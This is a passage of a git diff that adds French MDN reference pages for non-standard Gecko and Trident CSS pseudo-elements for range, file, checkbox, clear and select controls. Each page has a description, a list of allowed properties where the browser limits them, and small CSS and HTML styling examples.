+translation_of: 'Web/CSS/::-moz-range-progress'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-moz-range-progress</code></strong> représente la portion de la piste d'un élément {{HTMLElement("input")}} de type <code>range</code>, qui correspond aux valeurs inférieures à la valeur sélectionnée par le curseur.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si <code>::-moz-range-progress</code> est utilisé sur autre chose qu'un élément <code>&lt;input type="range"&gt;</code>, il n'aura aucun effet.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input[type=range]::-moz-range-progress {
+  background-color: green;
+  height: 1em;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="range" min="0" max="100" step="5" value="50"/&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 300, 50)}}</p>
+
+<p>Une barre de progression mise en forme avec cette déclaration devrait ressembler à :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12041/Screen%20Shot%202015-12-04%20at%2020.14.48.png"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-range-progress")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les pseudo-éléments de Gecko qui permettent de mettre en forme les autres parties des éléments {{HTMLElement("input")}} de type <code>range</code> :
+
+  <ul>
+   <li>{{cssxref("::-moz-range-thumb")}}</li>
+   <li>{{cssxref("::-moz-range-track")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("::-ms-fill-upper")}} pris en charge par Internet Explorer et Ege</li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks : Gérer des champs <code>input</code> de type <code>range</code> de façon compatible entre les navigateurs (en anglais)</a></li>
+ <li><a href="https://www.quirksmode.org/blog/archives/2015/11/styling_and_scr.html">QuirksMode : Mettre en forme les pistes et curseurs</a></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-moz-range-thumb/index.html b/files/fr/web/css/_doublecolon_-moz-range-thumb/index.html
new file mode 100644
index 0000000000..a66f6a3d83
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-moz-range-thumb/index.html
@@ -0,0 +1,73 @@
+---
+title: '::-moz-range-thumb'
+slug: 'Web/CSS/::-moz-range-thumb'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-moz-range-thumb'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-moz-range-thumb</code></strong> représente le curseur qui se déplace le long de la piste dans un élément {{HTMLElement("input")}} de type <code>range</code> et qui permet de modifier la valeur numérique associée.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Utiliser <code>::-moz-range-thumb</code> avec un autre élément que  <code>&lt;input type="range"&gt;</code> n'aura aucun effet.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input[type=range]::-moz-range-thumb {
+  background-color: green;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="range" min="0" max="100" step="5" value="50"/&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 300, 50)}}</p>
+
+<p>Une barre de progression mise en forme avec ces règles devrait ressembler à :</p>
+
+<p><img alt="The thumb of the &lt;input type=right> styled in green" src="https://mdn.mozillademos.org/files/12027/Screen%20Shot%202015-12-04%20at%2013.30.08.png"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-range-thumb")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les pseudo-éléments de Gecko qui permettent de mettre en forme les autres parties des éléments {{HTMLElement("input")}} de type <code>range</code> :
+
+  <ul>
+   <li>{{cssxref("::-moz-range-track")}}</li>
+   <li>{{cssxref("::-moz-range-progress")}}</li>
+  </ul>
+ </li>
+ <li>Les pseudo-éléments utilisés par les autres navigateurs :
+  <ul>
+   <li>{{cssxref("::-webkit-slider-thumb")}} pour WebKit/Blink (Safari, Chrome et Opera).</li>
+   <li>{{cssxref("::-ms-thumb")}} pour Internet Explorer/Edge.</li>
+  </ul>
+ </li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks : Gérer des champs <code>input</code> de type <code>range</code> de façon compatible entre les navigateurs (en anglais)</a></li>
+ <li><a href="https://www.quirksmode.org/blog/archives/2015/11/styling_and_scr.html">QuirksMode : Mettre en forme les pistes et curseurs</a></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-moz-range-track/index.html b/files/fr/web/css/_doublecolon_-moz-range-track/index.html
new file mode 100644
index 0000000000..5021c16237
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-moz-range-track/index.html
@@ -0,0 +1,72 @@
+---
+title: '::-moz-range-track'
+slug: 'Web/CSS/::-moz-range-track'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-moz-range-track'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-moz-range-track</code></strong> est un pseudo-élément spsécifique à Mozilla et représente la piste d'un élément {{HTMLElement("input")}} de type <code>range</code>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> <code>::-moz-range-track</code> n'aura aucun effet s'il est utilisé sur autre chose qu'un élément <code>&lt;input type="range"&gt;</code>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input[type=range]::-moz-range-track {
+  background-color: green;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="range" min="0" max="100" step="5" value="50"/&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 300, 50)}}</p>
+
+<p>Une barre de progression mise en forme de cette façon devrait ressembler à :</p>
+
+<p><img alt="A range with the track green." src="https://mdn.mozillademos.org/files/11999/Screen%20Shot%202015-12-04%20at%2010.14.34.png"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-range-track")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les pseudo-éléments de Gecko qui permettent de mettre en forme les autres parties des éléments {{HTMLElement("input")}} de type <code>range</code> :
+
+  <ul>
+   <li>{{cssxref("::-moz-range-thumb")}} qui représente le curseur qui se déplace le long de la piste.</li>
+   <li>{{cssxref("::-moz-range-progress")}} qui représente la partie inférieure de la piste (ce qui est déjà « couvert »).</li>
+  </ul>
+ </li>
+ <li>Les pseudo-éléments utilisés par les autres navigateurs :
+  <ul>
+   <li>{{cssxref("::-webkit-slider-runnable-track")}} pour WebKit/Blink (Safari, Chrome et Opera).</li>
+   <li>{{cssxref("::-ms-track")}} pour Internet Explorer/Edge.</li>
+  </ul>
+ </li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks : Gérer des champs <code>input</code> de type <code>range</code> de façon compatible entre les navigateurs (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-moz-scrolled-page-sequence/index.html b/files/fr/web/css/_doublecolon_-moz-scrolled-page-sequence/index.html
new file mode 100644
index 0000000000..688f8a5a50
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-moz-scrolled-page-sequence/index.html
@@ -0,0 +1,34 @@
+---
+title: '::-moz-scrolled-page-sequence'
+slug: 'Web/CSS/::-moz-scrolled-page-sequence'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::-moz-scrolled-page-sequence'
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-moz-scrolled-page-sequence</code></strong> est un pseudo-élément spécifique à Mozilla et représente l'arrière-plan de la prévisualisation de l'impression.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-scrolled-page-sequence")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::-moz-page")}}</li>
+ <li>{{cssxref("::-moz-page-sequence")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-ms-browse/index.html b/files/fr/web/css/_doublecolon_-ms-browse/index.html
new file mode 100644
index 0000000000..a1c0fc0ad9
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-ms-browse/index.html
@@ -0,0 +1,108 @@
+---
+title: '::-ms-browse'
+slug: 'Web/CSS/::-ms-browse'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Archive/Web/CSS/::-ms-browse'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-ms-browse</code></strong> représente le bouton qui permet d'ouvrir l'explorateur de fichier d'un élément {{HTMLElement("input")}} de type <code>file</code>.</p>
+
+<h2 id="Propriétés_autorisées">Propriétés autorisées</h2>
+
+<p>Seules les propriétés CSS suivantes peuvent être utilisées avec une règle qui utilise un sélecteur avec <code>::-ms-browse</code>. Les autres propriétés sont ignorées.</p>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("-ms-background-position-x")}}</li>
+ <li>{{CSSxRef("-ms-background-position-y")}}</li>
+ <li>{{CSSxRef("-ms-high-contrast-adjust")}}</li>
+ <li>{{CSSxRef("background-clip")}}</li>
+ <li>{{CSSxRef("background-color")}}</li>
+ <li>{{CSSxRef("background-image")}}</li>
+ <li>{{CSSxRef("background-origin")}}</li>
+ <li>{{CSSxRef("background-repeat")}}</li>
+ <li>{{CSSxRef("background-size")}}</li>
+ <li>{{CSSxRef("border-bottom-color")}}</li>
+ <li>{{CSSxRef("border-bottom-left-radius")}}</li>
+ <li>{{CSSxRef("border-bottom-right-radius")}}</li>
+ <li>{{CSSxRef("border-bottom-style")}}</li>
+ <li>{{CSSxRef("border-bottom-width")}}</li>
+ <li>{{CSSxRef("border-left-color")}}</li>
+ <li>{{CSSxRef("border-left-style")}}</li>
+ <li>{{CSSxRef("border-left-width")}}</li>
+ <li>{{CSSxRef("border-right-color")}}</li>
+ <li>{{CSSxRef("border-right-style ")}}</li>
+ <li>{{CSSxRef("border-right-width")}}</li>
+ <li>{{CSSxRef("border-top-color")}}</li>
+ <li>{{CSSxRef("border-top-left-radius")}}</li>
+ <li>{{CSSxRef("border-top-right-radius ")}}</li>
+ <li>{{CSSxRef("border-top-style")}}</li>
+ <li>{{CSSxRef("border-top-width")}}</li>
+ <li>{{CSSxRef("box-shadow")}}</li>
+ <li>{{CSSxRef("box-sizing")}}</li>
+ <li>{{CSSxRef("color")}}</li>
+ <li>{{CSSxRef("cursor")}}</li>
+ <li>{{CSSxRef("display")}} (valeurss <code>block</code>, <code>inline-block</code> et <code>none</code>)</li>
+ <li>{{CSSxRef("@font-face")}}</li>
+ <li>{{CSSxRef("font-size")}}</li>
+ <li>{{CSSxRef("font-style")}}</li>
+ <li>{{CSSxRef("font-weight")}}</li>
+ <li>{{CSSxRef("height")}}</li>
+ <li>{{CSSxRef("margin-bottom")}}</li>
+ <li>{{CSSxRef("margin-left")}}</li>
+ <li>{{CSSxRef("margin-right")}}</li>
+ <li>{{CSSxRef("margin-top")}}</li>
+ <li>{{CSSxRef("opacity")}}</li>
+ <li>{{CSSxRef("outline-color")}}</li>
+ <li>{{CSSxRef("outline-style")}}</li>
+ <li>{{CSSxRef("outline-width")}}</li>
+ <li>{{CSSxRef("padding-bottom")}}</li>
+ <li>{{CSSxRef("padding-left")}}</li>
+ <li>{{CSSxRef("padding-right")}}</li>
+ <li>{{CSSxRef("padding-top")}}</li>
+ <li>{{CSSxRef("transform")}}</li>
+ <li>{{CSSxRef("transform-origin")}}</li>
+ <li>{{CSSxRef("visibility")}}</li>
+ <li>{{CSSxRef("width")}}</li>
+</ul>
+</div>
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">  {{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;label&gt;Choisir une image : &lt;input type="file"&gt;&lt;/label&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input[type="file"]::-ms-browse {
+  color: red;
+  background-color: yellow;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h3 id="Capture_d'écran_correspondante">Capture d'écran correspondante</h3>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12744/bandicam%202016-03-11%2017-19-55-369.jpg" style="height: 188px; width: 680px;"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Trident/Microsoft et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-ms-browse")}}</p>
diff --git a/files/fr/web/css/_doublecolon_-ms-check/index.html b/files/fr/web/css/_doublecolon_-ms-check/index.html
new file mode 100644
index 0000000000..7696ee6792
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-ms-check/index.html
@@ -0,0 +1,125 @@
+---
+title: '::-ms-check'
+slug: 'Web/CSS/::-ms-check'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Archive/Web/CSS/::-ms-check'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-ms-check</code></strong> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">une extension Microsoft</a> qui représente la marque visuelle d'un élément {{HTMLElement("input")}} de <code>type="checkbox"</code> or <code>type="radio"</code>. Ce pseudo-élément n'est pas standard et est uniquement pris en charge par Internet Explorer et Edge.</p>
+
+<h2 id="Propriétés_autorisées">Propriétés autorisées</h2>
+
+<p>Seules certaines propriétés CSS peuvent être utilisées au sein d'une règle dont le sélecteur contient <code>::-ms-check</code>. Les autres propriétés seront ignorées.</p>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("-ms-background-position-x")}}</li>
+ <li>{{CSSxRef("-ms-background-position-y")}}</li>
+ <li>{{CSSxRef("-ms-high-contrast-adjust")}}</li>
+ <li>{{CSSxRef("background-clip")}}</li>
+ <li>{{CSSxRef("background-color")}}</li>
+ <li>{{CSSxRef("background-image")}}</li>
+ <li>{{CSSxRef("background-origin")}}</li>
+ <li>{{CSSxRef("background-repeat")}}</li>
+ <li>{{CSSxRef("background-size")}}</li>
+ <li>{{CSSxRef("border-bottom-color")}}</li>
+ <li>{{CSSxRef("border-bottom-left-radius")}}</li>
+ <li>{{CSSxRef("border-bottom-right-radius")}}</li>
+ <li>{{CSSxRef("border-bottom-style")}}</li>
+ <li>{{CSSxRef("border-bottom-width")}}</li>
+ <li>{{CSSxRef("border-left-color")}}</li>
+ <li>{{CSSxRef("border-left-style")}}</li>
+ <li>{{CSSxRef("border-left-width")}}</li>
+ <li>{{CSSxRef("border-right-color")}}</li>
+ <li>{{CSSxRef("border-right-style ")}}</li>
+ <li>{{CSSxRef("border-right-width")}}</li>
+ <li>{{CSSxRef("border-top-color")}}</li>
+ <li>{{CSSxRef("border-top-left-radius")}}</li>
+ <li>{{CSSxRef("border-top-right-radius ")}}</li>
+ <li>{{CSSxRef("border-top-style")}}</li>
+ <li>{{CSSxRef("border-top-width")}}</li>
+ <li>{{CSSxRef("box-shadow")}}</li>
+ <li>{{CSSxRef("box-sizing")}}</li>
+ <li>{{CSSxRef("color")}}</li>
+ <li>{{CSSxRef("cursor")}}</li>
+ <li>{{CSSxRef("display")}} (valeurs <code>block</code>, <code>inline-block</code> et <code>none</code>)</li>
+ <li>{{CSSxRef("@font-face")}}</li>
+ <li>{{CSSxRef("font-size")}}</li>
+ <li>{{CSSxRef("font-style")}}</li>
+ <li>{{CSSxRef("font-weight")}}</li>
+ <li>{{CSSxRef("height")}}</li>
+ <li>{{CSSxRef("margin-bottom")}}</li>
+ <li>{{CSSxRef("margin-left")}}</li>
+ <li>{{CSSxRef("margin-right")}}</li>
+ <li>{{CSSxRef("margin-top")}}</li>
+ <li>{{CSSxRef("opacity")}}</li>
+ <li>{{CSSxRef("outline-color")}}</li>
+ <li>{{CSSxRef("outline-style")}}</li>
+ <li>{{CSSxRef("outline-width")}}</li>
+ <li>{{CSSxRef("padding-bottom")}}</li>
+ <li>{{CSSxRef("padding-left")}}</li>
+ <li>{{CSSxRef("padding-right")}}</li>
+ <li>{{CSSxRef("padding-top")}}</li>
+ <li>{{CSSxRef("transform")}}</li>
+ <li>{{CSSxRef("transform-origin")}}</li>
+ <li>{{CSSxRef("visibility")}}</li>
+ <li>{{CSSxRef("width")}}</li>
+</ul>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>selecteur</em>::-ms-check
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input, label {
+  display: inline;
+}
+
+input[type=radio]::-ms-check {
+  /* Le cercle sera rouge comme l'option sera sélectionnée. */
+  color: red;
+  /* La bordure de l'élément sera rouge si l'option est sélectionnée */
+  border-color: red;
+}
+
+input[type=checkbox]::-ms-check {
+  /* La coche sera verte quand la case sera cochée. */
+  color: green;
+  /* La bordure de l'élément sera verte si la case est cochée */
+  border-color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="redButton"&gt;Rouge&lt;/label&gt;
+  &lt;input type="radio" id="redButton"&gt;&lt;br&gt;
+  &lt;label for="greenCheckbox"&gt;Verte&lt;/label&gt;
+  &lt;input type="checkbox" id="greenCheckbox"&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>La capture d'écran à gauche illustre le résultat obtenu avec Internet Explorer ou Edge.</p>
+
+<p>{{EmbedLiveSample('Exemples', '', '', 'https://mdn.mozillademos.org/files/15814/ie11-example.PNG', 'Web/CSS/::-ms-check')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Trident/Microsoft et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-ms-check")}}</p>
diff --git a/files/fr/web/css/_doublecolon_-ms-clear/index.html b/files/fr/web/css/_doublecolon_-ms-clear/index.html
new file mode 100644
index 0000000000..fe06d95707
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-ms-clear/index.html
@@ -0,0 +1,137 @@
+---
+title: '::-ms-clear'
+slug: 'Web/CSS/::-ms-clear'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Archive/Web/CSS/::-ms-clear'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-élément</a> <strong><code>::-ms-clear</code></strong> représente le bouton qui permet d'effacer la valeur saisie dans un champ {{HTMLElement("input")}}. Ce bouton et ce pseudo-élément ne sont pas standards et sont uniquement pris en charge par Internet Explorer 10, 11 et Edge. Le bouton est uniquement affichés pour les champs textuels {{HTMLElement("input")}} non-vides et qui ont le focus.</p>
+
+<p>Le bouton de remise à zéro est uniquement affiché pour les contrôles textuels qui ont le focus et qui ne sont pas vides. Les contrôles concernés sont :</p>
+
+<ul>
+ <li>{{HTMLElement("input/color", '<code>&lt;input type="color"&gt;</code>')}}</li>
+ <li>{{HTMLElement("input/date", '<code>&lt;input type="date"&gt;</code>')}}</li>
+ <li>{{HTMLElement("input/datetime", '<code>&lt;input type="datetime"&gt;</code>')}}</li>
+ <li>{{HTMLElement("input/datetime-local", '<code>&lt;input type="datetime-local"&gt;</code>')}}</li>
+ <li>{{HTMLElement("input/email", '<code>&lt;input type="email"&gt;</code>')}}</li>
+ <li>{{HTMLElement("input/month", '<code>&lt;input type="month"&gt;</code>')}}</li>
+ <li>{{HTMLElement("input/number", '<code>&lt;input type="number"&gt;</code>')}}</li>
+ <li>{{HTMLElement("input/search", '<code>&lt;input type="search"&gt;</code>')}}</li>
+ <li>{{HTMLElement("input/tel", '<code>&lt;input type="tel"&gt;</code>')}}</li>
+ <li>{{HTMLElement("input/time", '<code>&lt;input type="time"&gt;</code>')}}</li>
+ <li>{{HTMLElement("input/url", '<code>&lt;input type="url"&gt;</code>')}}</li>
+ <li>{{HTMLElement("input/week", '<code>&lt;input type="week"&gt;</code>')}}</li>
+</ul>
+
+<h2 id="Propriétés_autorisées">Propriétés autorisées</h2>
+
+<p>Seules les propriétés CSS suivantes peuvent être utilisées dans une règle qui contient <code>::-ms-clear</code> dans son sélecteur (les autres propriétés seront ignorées).</p>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("-ms-high-contrast-adjust")}}</li>
+ <li>{{CSSxRef("background-clip")}}</li>
+ <li>{{CSSxRef("background-color")}}</li>
+ <li>{{CSSxRef("background-image")}}</li>
+ <li>{{CSSxRef("background-origin")}}</li>
+ <li>{{CSSxRef("background-position-x")}}</li>
+ <li>{{CSSxRef("background-position-y")}}</li>
+ <li>{{CSSxRef("background-repeat")}}</li>
+ <li>{{CSSxRef("background-size")}}</li>
+ <li>{{CSSxRef("border-bottom-color")}}</li>
+ <li>{{CSSxRef("border-bottom-left-radius")}}</li>
+ <li>{{CSSxRef("border-bottom-right-radius")}}</li>
+ <li>{{CSSxRef("border-bottom-style")}}</li>
+ <li>{{CSSxRef("border-bottom-width")}}</li>
+ <li>{{CSSxRef("border-left-color")}}</li>
+ <li>{{CSSxRef("border-left-style")}}</li>
+ <li>{{CSSxRef("border-left-width")}}</li>
+ <li>{{CSSxRef("border-right-color")}}</li>
+ <li>{{CSSxRef("border-right-style ")}}</li>
+ <li>{{CSSxRef("border-right-width")}}</li>
+ <li>{{CSSxRef("border-top-color")}}</li>
+ <li>{{CSSxRef("border-top-left-radius")}}</li>
+ <li>{{CSSxRef("border-top-right-radius ")}}</li>
+ <li>{{CSSxRef("border-top-style")}}</li>
+ <li>{{CSSxRef("border-top-width")}}</li>
+ <li>{{CSSxRef("box-shadow")}}</li>
+ <li>{{CSSxRef("box-sizing")}}</li>
+ <li>{{CSSxRef("color")}}</li>
+ <li>{{CSSxRef("cursor")}}</li>
+ <li>{{CSSxRef("display")}} (avec les valeurs <code>block</code>, <code>inline-block</code>, <code>none</code>)</li>
+ <li>{{CSSxRef("@font-face")}}</li>
+ <li>{{CSSxRef("font-size")}}</li>
+ <li>{{CSSxRef("font-style")}}</li>
+ <li>{{CSSxRef("font-weight")}}</li>
+ <li>{{CSSxRef("height")}}</li>
+ <li>{{CSSxRef("margin-bottom")}}</li>
+ <li>{{CSSxRef("margin-left")}}</li>
+ <li>{{CSSxRef("margin-right")}}</li>
+ <li>{{CSSxRef("margin-top")}}</li>
+ <li>{{CSSxRef("opacity")}}</li>
+ <li>{{CSSxRef("outline-color")}}</li>
+ <li>{{CSSxRef("outline-style")}}</li>
+ <li>{{CSSxRef("outline-width")}}</li>
+ <li>{{CSSxRef("padding-bottom")}}</li>
+ <li>{{CSSxRef("padding-left")}}</li>
+ <li>{{CSSxRef("padding-right")}}</li>
+ <li>{{CSSxRef("padding-top")}}</li>
+ <li>{{CSSxRef("transform")}}</li>
+ <li>{{CSSxRef("transform-origin")}}</li>
+ <li>{{CSSxRef("visibility")}}</li>
+ <li>{{CSSxRef("width")}}</li>
+</ul>
+</div>
+
+<h2 id="Syntaxe"><strong>Syntaxe</strong></h2>
+
+<pre class="syntaxbox"> <em>selecteur</em>::-ms-clear</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input,
+label {
+  display: block;
+}
+
+input[type=text]::-ms-clear {
+  color: red;<em> </em>/* La croix du bouton sera rouge. */
+  /* On peut cacher la croix avec display qui vaut "none" */
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="firstname"&gt;First name:&lt;/label&gt;
+  &lt;input type="text" id="firstname" name="firstname" placeholder="First name"&gt;&lt;br&gt;
+
+  &lt;label for="lastname"&gt;Last name:&lt;/label&gt;
+  &lt;input type="text" id="lastname" name="lastname" placeholder="Second name"&gt;
+&lt;/form&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<p>Voici une capture d'écran du résultat obtenu avec IE 10/11 :</p>
+
+<p> <img alt="" src="https://mdn.mozillademos.org/files/12263/ms-clear-example.png" style="display: block; height: 75px; margin: 0px auto; width: 611px;"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Trident/Microsoft et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-ms-clear")}}</p>
diff --git a/files/fr/web/css/_doublecolon_-ms-expand/index.html b/files/fr/web/css/_doublecolon_-ms-expand/index.html
new file mode 100644
index 0000000000..f8f7b3ded3
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-ms-expand/index.html
@@ -0,0 +1,88 @@
+---
+title: '::-ms-expand'
+slug: 'Web/CSS/::-ms-expand'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Archive/Web/CSS/::-ms-expand'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-ms-expand</code></strong> représente le bouton contenu dans un élément {{HTMLElement("select")}} et qui permet d'ouvrir ou de fermer le menu déroulant qui propose les options ({{HTMLElement("option")}}). Il est généralement représenté par un triangle orienté vers le bas.</p>
+
+<h2 id="Allowable_properties" name="Allowable_properties">Propriétés autorisées</h2>
+
